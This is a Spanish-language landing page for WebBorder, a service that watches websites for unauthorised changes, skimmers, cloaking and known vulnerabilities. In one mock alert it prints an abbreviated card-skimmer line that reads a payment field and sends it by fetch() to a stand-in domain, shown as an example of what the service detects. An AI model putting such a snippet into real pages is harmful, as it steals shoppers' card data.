texto cambiado
Un párrafo que no escribiste
Un número de cuenta nuevo en la página de pago, un aviso falso, un teléfono distinto. Te enseñamos la línea que entra y la que sale.
Vigilancia de cambios para tu web
Si alguien toca tu web, lo sabrás antes que tus clientes.
WebBorder recorre tu web como un visitante, y también como la ve Google, y te avisa si cambia algo que no has cambiado tú: un texto, un enlace, un formulario, un script. Lo ves en rojo y verde y decides en diez segundos.
Sin tarjeta y sin instalar nada en tu web. Tu primera web, gratis. Abrimos en unos días.
- Tu web, vigilada
- Alguien la cambia
- WebBorder lo ve
- Te avisa al momento
Análisis gratuito
¿Qué ve un atacante en tu web?
Escribe tu dominio y en unos segundos te decimos lo que cualquiera puede ver desde fuera: si tu HTTPS está bien, si tu correo se puede suplantar, si estás en alguna lista negra y si tu web usa software con fallos conocidos. Sin tocar nada: solo miramos lo que ve un navegador.
Lo que cambia cuando entran sin permiso
Hoy casi nadie pone un «hacked by» en la portada. Lo que se hace es discreto, y por eso nadie se entera hasta que un cliente reclama.
script de un dominio nuevo
Un skimmer en el pago
Código que copia las tarjetas de tus clientes mientras compran. Si tu web empieza a cargar algo de un sitio que nunca había usado, lo sabes.
formulario que envía fuera
Los datos, a otra dirección
El formulario de contacto o de pago sigue igual por fuera, pero manda lo que escriben tus clientes a otro servidor.
enlaces ocultos
Spam de casinos que no ves
Enlaces escondidos al visitante pero visibles para Google. Hunden tu posicionamiento y tú no ves nada raro en tu web.
solo lo ve Google
Una web para ti, otra para Google
Miramos cada página como navegador, como móvil, como Googlebot y como quien llega desde Google. Si no coinciden, algo pasa.
enlace a un dominio que no existe
Una puerta que cualquiera puede abrir
Un enlace con una errata a un dominio sin registrar: el día que alguien lo compre, tus visitantes acabarán en su web.
Lo que tú no ves
El spam que solo ven tus visitantes
Hay ataques que se esconden de ti. Si entras escribiendo tu dirección, todo funciona. Pero quien llega desde Google y pulsa un enlace acaba en un casino, y tú no te enteras hasta que Google te marca como peligrosa.
- Te miramos como te ve el resto. Cada revisión recorre tu web como un navegador, como un móvil, como Googlebot y como alguien que llega desde Google.
- Si no coinciden, salta. Una redirección a un dominio que tu web no había usado nunca es una alerta crítica.
- Sabes dónde y para quién. Qué enlace, a dónde lleva y a quién se lo enseña.
- Llega desde Google
- Pulsa y acaba en un casino
- WebBorder lo ve
- Te avisa al momento
Tres pasos, y te olvidas
- 1
Añade tu web
Escribe la dirección y demuestra que es tuya con un registro en el DNS o un fichero. Nada que instalar en el servidor.
- 2
Aprende cómo es
Los primeros rastreos solo miran. Así aprende lo que cambia solo, como fechas, contadores o bloques que rotan, y no te avisa de eso.
- 3
Te avisa de lo que importa
Por correo y en tu panel. Si el cambio es tuyo, lo apruebas y deja de avisar. Si no, ya sabes qué tocar y desde cuándo.
Un aviso, no doce
Cuando subes un producto nuevo, tu web cambia en varios sitios a la vez: la portada, su categoría, la página de novedades. WebBorder reconoce que es un solo cambio y te lo cuenta una vez, con lo que ha entrado y lo que ha salido.
- Agrupado. Un cambio en cuatro páginas es un aviso, no doce.
- Lo grave, aparte y primero. Un script o un formulario que envía a otro dominio nunca se mezcla con tus novedades.
- Un clic si fue cosa tuya. Lo apruebas y pasa a ser lo normal.
- Todo en el historial. Qué cambió, cuándo y quién lo dio por bueno.
Carga un script desde un dominio que la web no había usado nunca
/pago/
cdn-estadisticas-web.example/a.js
Contenido nuevo en 4 páginas: «Botines de piel engrasada»
//tienda//categoria/botines//novedades/
+ Botines de piel engrasada, cosidos a mano · 89 €
− Mocasín clásico · agotado
7 cambios agrupados: el texto, 2 enlaces y 2 imágenesLo he cambiado yo · aprobar
Qué ha cambiado y qué hace
No solo te avisa: te dice qué hace y cómo quitarlo
«Ha cambiado un script» no sirve de mucho si no sabes leer código. WebBorder te enseña las líneas exactas que han entrado y salido, te explica en palabras llanas qué hace lo nuevo y te dice cómo dejarlo como estaba.
- Las líneas exactas. Lo que entró en verde, lo que salió en rojo, en cualquier página o script, contra la última versión buena.
- Qué hace, en llano. Si lee los campos de la tarjeta o la contraseña, si envía datos a otro sitio, si está ofuscado, si mete iframes o enlaces ocultos. O «sin señales de riesgo», si es una actualización normal.
- Cómo quitarlo. El fragmento exacto que hay que borrar y dónde suele estar; en WordPress, los comandos para encontrarlo.
- Dejarlo como estaba. En los planes de pago, descarga la versión buena del fichero y comprueba con su huella que ha quedado igual.
Un script incrustado en la página cita un dominio que la web no había usado nunca
⚠ Lee campos de pago y envía datos a un dominio que el código no usaba (cdn-analytics-pagos.com). Es exactamente lo que hace un skimmer.
<form action="/pagar"><input name="tarjeta"></form>
+ <script>…addEventListener("change", … fetch("https://cdn-analytics-pagos.com/c", {body: this.value})…</script>
</body>
Cómo quitarlo: borra este fragmento de la plantilla del pago, cambia las contraseñas y avisa a tu pasarela de pago.
Escudo · complemento de seguridad
Que no entren, además de saber si han entrado
La vigilancia te avisa cuando alguien toca tu web. Escudo te ayuda a que no llegue a pasar: revisa tu web desde fuera, como haría un atacante antes de atacar, y te dice qué cerrar y cómo.
- Vulnerabilidades conocidas, cada día. Cruzamos tu WordPress, tus plugins y tu tema con las vulnerabilidades publicadas y te avisamos en cuanto sale una que te afecta.
- Lo que no debería verse. Ficheros de configuración, copias de seguridad, registros de errores o la lista de usuarios, expuestos sin que lo sepas.
- Cabeceras y HTTPS. HSTS, protección contra que te metan en otra web, TLS antiguo, cookies sin proteger.
- El correo de tu dominio. SPF y DMARC, para que nadie mande correos haciéndose pasar por ti.
Complemento de Starter y Professional. Solo miramos: no probamos contraseñas ni intentamos aprovechar nada.
C
3 cosas que mejorar
Alta Contact Form 7 5.7.2 tiene vulnerabilidades conocidas
Actualízalo a la versión corregida desde «Plugins». Cada fallo enlaza a su ficha pública.
Media Cualquiera puede ver los nombres de usuario de WordPress
Media zapateriadelpuerto.es no tiene DMARC
Si te atacan
Pruebas que puedes presentar
Cuando WebBorder detecta un cambio, guarda una copia de lo que servía tu web en ese momento. Con eso sacas un informe firmado y fechado, listo para tu seguro, la policía o un perito.
- La prueba de cada cambio. La página o el script tal como los servía tu web, con la IP que respondió, su certificado y la hora exacta.
- Firmado y con sello de tiempo. Lo firma WebBorder, y una autoridad externa certifica la hora (RFC 3161). Si alguien toca un byte, se nota.
- Un historial que no se puede maquillar. Cada entrada lleva la huella de la anterior: no se puede borrar ni cambiar ninguna sin que se note.
- Lo comprueba cualquiera. Con OpenSSL o en webborder.es/verificar, sin darnos el documento.
Las pruebas y el informe en PDF, en los planes Starter y Professional.
WEBBORDER
Informe de cambios
zapateriadelpuerto.es · 01/10 – 31/10/2026
3cambios2pruebas1caída99,9 %disponible
12/10 03:14:07 UTC · CRÍTICA · /pago/Script nuevo de cdn-estadisticas-web.example
12/10 03:14:09 UTC · PRUEBA GUARDADA
sha256 9c41e0…b27a11/10 18:40:22 UTC · APROBADO · /novedades/Botines de piel engrasada
Firmado por WebBorderSello de tiempo · 12/10/2026 03:14:10 UTC
webborder-informe.zip
- informe.pdf
- informe.pdf.sig
- informe.pdf.tsr
- historial.jsonl
- pruebas/
- LEEME.txt
Tu panel
Todas tus webs, de un vistazo
Cada web con su estado y un radar que te dice cuándo la estamos revisando. Si una se pone en rojo, lo ves al momento. Y si llevas las webs de tus clientes, te enteras tú antes que ellos.
clinicadental-sur.es
OKsin cambios
revisado hace 12 min
ferreteria-lopez.com
Alertascript de un dominio nuevo
rastreando ahora…
hotel-lasdunas.es
Revisar2 cambios menores
revisado hace 31 min
Precios
De momento WebBorder es gratis. Los planes de pago llegarán pronto; nunca se cobrará nada sin que lo aceptes.Free MUY PRONTO
0 €
- 1 web
- Un rastreo al día
- Aviso si se cae (cada 5 min)
- Aviso antes de que caduque el certificado
- Avisos por correo
Starter PRÓXIMAMENTE
Próximamente
- Hasta 3 webs
- Un rastreo cada hora
- Aviso si se cae (cada minuto)
- Aviso antes de que caduque el certificado
- Aviso si tu web se vuelve lenta
- Avisos por correo
- Modo estricto: cualquier cambio
- Prueba firmada de cada cambio
- Informes en PDF firmados, para presentar como prueba
- Versión buena de cada fichero para dejarlo como estaba
- Análisis de rendimiento: qué mejorar y cómo (10 al día)
Professional PRÓXIMAMENTE
Próximamente
- Hasta 50 webs
- Todo lo de Starter
- 30 análisis de rendimiento al día
- Informes con tu marca, con su análisis de rendimiento
- Varios usuarios en tu equipo
Complemento Escudo para Starter y Professional: revisión de seguridad semanal y vulnerabilidades conocidas cada día. Qué incluye · Precio próximamente.
Avisos de seguridad
Lo último que hay que actualizar
Vulnerabilidades graves en WordPress y sus plugins, PrestaShop, Joomla y Drupal, explicadas en claro: a quién afectan y qué hacer. Ver todos los avisos · RSS
Preguntas
¿Tengo que instalar algo en mi web?
No. WebBorder mira tu web desde fuera, como cualquier visitante. Sirve igual para WordPress, una tienda online o una web hecha a mano.
¿Y cuando cambio yo algo?
Te llega el aviso, pulsas «Lo he cambiado yo · aprobar» y pasa a ser lo normal. Si tu web cambia a diario, como un blog, activa «Solo lo grave por correo» en sus ajustes: te escribimos solo por lo que suele ser un ataque y los cambios de texto se quedan en tu panel.
¿Y si mi web se cae?
También te avisamos. La comprobamos cada minuto (cada cinco en el plan gratuito); si no responde dos veces seguidas, y después de confirmar que el problema no es nuestro, te llega el aviso. Y otro cuando vuelve, con cuánto ha durado. Además, te avisamos antes de que caduque el certificado HTTPS.
¿Qué es Escudo y en qué se diferencia de la vigilancia?
La vigilancia te avisa de que alguien ha tocado tu web. Escudo te ayuda a que no entre: revisa cada semana lo que un atacante miraría primero (plugins con fallos conocidos, ficheros expuestos, cabeceras, HTTPS, el correo del dominio) y te dice qué arreglar y cómo. Es un complemento de Starter y Professional; los datos de vulnerabilidades vienen de Wordfence Intelligence.
¿Me dice cómo arreglarlo?
Sí. Cada aviso trae qué significa, cuándo es normal y qué hacer si no has sido tú. Además, puedes ver las líneas exactas que han cambiado y qué hace el código nuevo, con el fragmento que hay que borrar. En los planes de pago, también puedes descargar la versión buena de un fichero para dejarlo como estaba.
¿Me sirve como prueba si me atacan?
Es prueba electrónica generada por un tercero independiente, firmada y con sello de tiempo de una autoridad externa, y cualquiera puede comprobar que no se ha tocado. Su valor en un juicio lo decide el juez; para un litigio, lo normal es que un perito o un notario la incorpore. Para el seguro o una denuncia, suele bastar. Las pruebas se guardan en los planes Starter y Professional.
¿Por qué tengo que demostrar que la web es mía?
Para que nadie pueda usar WebBorder para vigilar webs ajenas. Basta con añadir un registro en el DNS o subir un fichero, como en Google Search Console.
¿Cuándo puedo empezar?
Estamos terminando de configurar el servicio y abrimos en unos días, empezando por el plan gratuito. Apúntate y te escribimos el día que puedas crear tu cuenta. Starter y Professional llegarán después.